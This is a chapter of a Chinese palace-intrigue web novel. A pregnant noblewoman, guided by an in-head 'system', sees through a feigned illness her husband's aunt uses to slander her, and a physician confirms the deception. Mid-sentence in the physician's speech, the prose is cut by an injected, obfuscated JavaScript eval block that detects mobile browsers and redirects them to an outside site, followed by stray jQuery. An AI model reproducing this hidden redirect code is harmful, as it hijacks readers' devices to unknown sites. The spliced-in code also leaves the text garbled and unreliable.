霜降过后,寒意渐浓,定国公府的庭院里落满了枯黄的落叶,被下人扫成了一堆又一堆,倒像是给青砖地镶了圈金边。白云桃的身孕已足五个月,小腹隆起得愈发明显,行动也渐渐迟缓起来,每日里除了在院里散散步,便是窝在暖阁里看账本,或是由宋彦博陪着读些闲书。
这日午后,她正靠在软榻上核对着冬日采买的清单,青禾端着刚炖好的冰糖雪梨进来,小声道:“姑娘,方才听小厨房的婆子说,二夫人院里的刘妈妈,偷偷去库房领了两匹‘银丝炭’,说是给李薇姑娘暖屋子用。”
白云桃握着笔的手顿了顿。银丝炭是贡品,火势旺且无烟,府里只有老夫人、柳氏和她这正院才能按份例领用,二房向来用的是普通的木炭,怎么突然破例领了银丝炭?
“李薇还在府里?”白云桃挑眉。自上次李薇拉肚子出了丑,又被白云桃不动声色地敲打过后,她安分了许多,这阵子几乎没在人前露过面。
“听说前些日子淋了雨,染了风寒,一直没好利索,二夫人疼她,便一直留院里养着。”青禾撇撇嘴,“依奴婢看,怕是又想借着养病的由头,在二夫人跟前搬弄是非。”
白云桃没说话,指尖在账本上轻轻敲击着。二房的李氏一向眼高于顶,又因李薇没能嫁入世子府的事对她心存芥蒂,前些日子因刘妈妈贪墨被处置的事,更是对她怨怼颇深,只是碍于老夫人和宋彦博的面子,才没敢明着发作。如今突然用起了银丝炭,倒像是……在刻意做给谁看。
【叮!检测到目标人物“李氏”情绪异常,敌意值上升至70。】
系统的提示音印证了她的猜测。白云桃合上账本,淡淡道:“知道了,让库房的周妈妈记好账,按规矩来便是。”
她虽掌着中馈,却也不好太过苛责,免得落个“苛待旁支”的名声。只是这二房的动静,需得多留个心眼。
果然,没过两日,老夫人的福寿院就传来消息,说李薇病情加重,请了好几个大夫都不见好,李氏整日以泪洗面,说是“担心坏了身子,怕是要落下病根”。
白云桃正陪着柳氏说话,闻言便笑道:“既然薇妹妹病得重,我这做嫂嫂的,该去看看才是。”
柳氏点点头:“去吧,带些上好的补品过去,也显得你体恤。只是……你身子重,别在那里待太久。”她显然也知道李氏的性子,怕白云桃受委屈。
“母亲放心。”白云桃应下,让人备了些人参、燕窝,便带着青禾往二房的院子去了。
二房的院子比不得宜安院精致,却也宽敞。刚进院门,就听见李氏压抑的哭声,夹杂着丫鬟的劝慰声,热闹得很。
“二婶母。”白云桃走进屋,只见李氏正坐在床边抹眼泪,李薇则躺在床上,盖着厚厚的棉被,脸色苍白,嘴唇干裂,看起来确实病得不轻。
李氏见她进来,哭声一顿,眼神复杂地看了她一眼,语气带着几分疏离:“世子夫人来了。”
“听说薇妹妹病得重,特意来看看。”白云桃将补品递给丫鬟,走到床边,“薇妹妹感觉如何?”
李薇虚弱地睁开眼,看到白云桃,眼中闪过一丝怨毒,随即又化为委屈:“劳嫂嫂挂心……我……我怕是不行了……”
“胡说什么!”李氏立刻打断她,瞪向白云桃,“世子夫人也看到了,薇儿病成这样,都是前些日子在你院里受了惊吓,又淋了雨,才落下的病根!若有个三长两短,我……我怎么对得起她早逝的母亲!”
这话分明是在暗指李薇的病与白云桃有关。白云桃心中冷笑,面上却依旧温和:“二婶母说笑了,薇妹妹上次来我院里,是自己不小心摔了一跤,与我何干?再说,那日天气晴好,何来淋雨之说?”
“你!”李氏被噎了一下,随即又哭道,“反正薇儿就是从你院里回去后才病的!如今病得这么重,大夫说怕是……怕是会影响日后生育……”
这话就恶毒了。女子不能生育,在这世道几乎等同于毁了一生。李氏这话,无疑是想将李薇不能生育的帽子扣在白云桃头上。
白云桃的脸色沉了下来:“二婶母慎言!薇妹妹的病,自有大夫诊断,岂能如此胡言乱语?若真如大夫所说,那更该好好医治,而不是在这里怨天尤人。”
“医治?怎么医治?”李氏猛地站起来,指着桌上的药碗,“吃了多少药都没用!我看……定是冲撞了什么不干净的东西!”她意有所指地看向白云桃的小腹,“有些人啊,自己怀了孕,就见不得别人好,暗地里使些阴招,也不怕遭报应!”
这话已经近乎明骂了。青禾气得脸色发白,刚要反驳,却被白云桃拦住。
白云桃看着李氏,眼神清冷:“二婶母这话是什么意思?难道是说我害了薇妹妹?”
“我可没说!”李氏嘴硬道,“但薇儿好端端的,怎么偏偏在你院里受了惊就病了?这世上哪有这么巧的事!”
就在这时,门外传来宋彦博的声音:“哦?什么事这么巧?”
众人回头,只见宋彦博面色沉郁地走了进来,身后还跟着府里的陈太医。
“彦博!”李氏像是见到了救星,哭着迎上去,“你可来了!你快看看薇儿,她快不行了!都是……都是……”
“都是什么?”宋彦博冷冷地打断她,“二婶母不妨当着陈太医的面说清楚,薇妹妹的病,到底是怎么回事。”
李氏被他冰冷的眼神看得一缩,没敢再说下去。陈太医上前,给李薇诊了脉,又翻看了她的眼皮,询问了几句病情,最后对宋彦博和白云桃道:“回世子爷,世子夫人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473301|185588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,李姑娘这病,是风寒入体,加上忧思过度所致,并非什么急症,也不会影响日后生育,只需按时服药,静心调养,便能痊愈。”
陈太医的话,无疑给了李氏一记响亮的耳光。
李氏的脸色瞬间变得惨白,难以置信地看着陈太医:“你……你说什么?不可能!她明明病得那么重……”
“二婶母若是不信,大可再请其他大夫来诊脉。”宋彦博语气冰冷,“只是我要提醒二婶母,饭可以乱吃,话不能乱讲。污蔑世子夫人,就是污蔑我定国府的脸面,二婶母担待得起吗?”
李氏被他吓得浑身发抖,再也不敢说什么,只是瘫坐在椅子上,面如死灰。
李薇躺在床上,听到陈太医的话,眼中闪过一丝慌乱和不甘——她这病,本就是装出来的,为的就是让李氏借机打压白云桃,没想到竟被陈太医一眼看穿。
白云桃看着眼前的闹剧,心中了然。这定是李氏和李薇串通好的阴谋,想用“重病”和“不能生育”来栽赃她,败坏她的名声。可惜,她们算错了一步——陈太医是府里的老人,医术精湛,岂会被这点小伎俩蒙骗?
“既然薇妹妹只是风寒,那我就放心了。”白云桃适时开口,语气缓和了些,“二婶母也别太担心,让薇妹妹安心养病便是。”
她给了李氏台阶下,也算是仁至义尽。
宋彦博看了她一眼,眼中闪过一丝赞许,随即对李氏道:“二婶母,府里有府里的规矩,往后莫要再听信谣言,妄自揣测。若是管不好自己的人,我不介意帮二婶母管管。”
这话带着明显的警告。李氏连连点头,哪里还敢有半句怨言。
离开二房的院子,宋彦博扶着白云桃的腰,语气里带着歉意:“让你受委屈了。”
“无妨。”白云桃摇摇头,“她们也掀不起什么大浪。只是没想到,二婶母为了李薇,竟能做到这个地步。”
“李氏一向护短,又偏心娘家,”宋彦博沉声道,“这次没成功,怕是不会善罢甘休。往后你多加小心,尽量别与她们打交道。”
“我知道。”白云桃点点头,心中却提高了警惕。二房的阴谋已经初显,这次是装病栽赃,下次又会是什么?
【叮!检测到目标人物“李氏”敌意值上升至85,“李薇”敌意值上升至90。请宿主提高警惕,防范进一步的阴谋。】
系统的提示音在脑海响起,白云桃握紧了宋彦博的手。看来,这定国府的平静,是真的要被打破了。她不仅要护住自己和腹中的孩子,还要时刻提防着暗处的冷箭。
深秋的风卷起落叶,在空中打着旋儿,像是在预示着一场即将到来的风暴。白云桃望着灰蒙蒙的天空,眼神渐渐变得坚定。无论二房有什么阴谋,她都不会让她们得逞。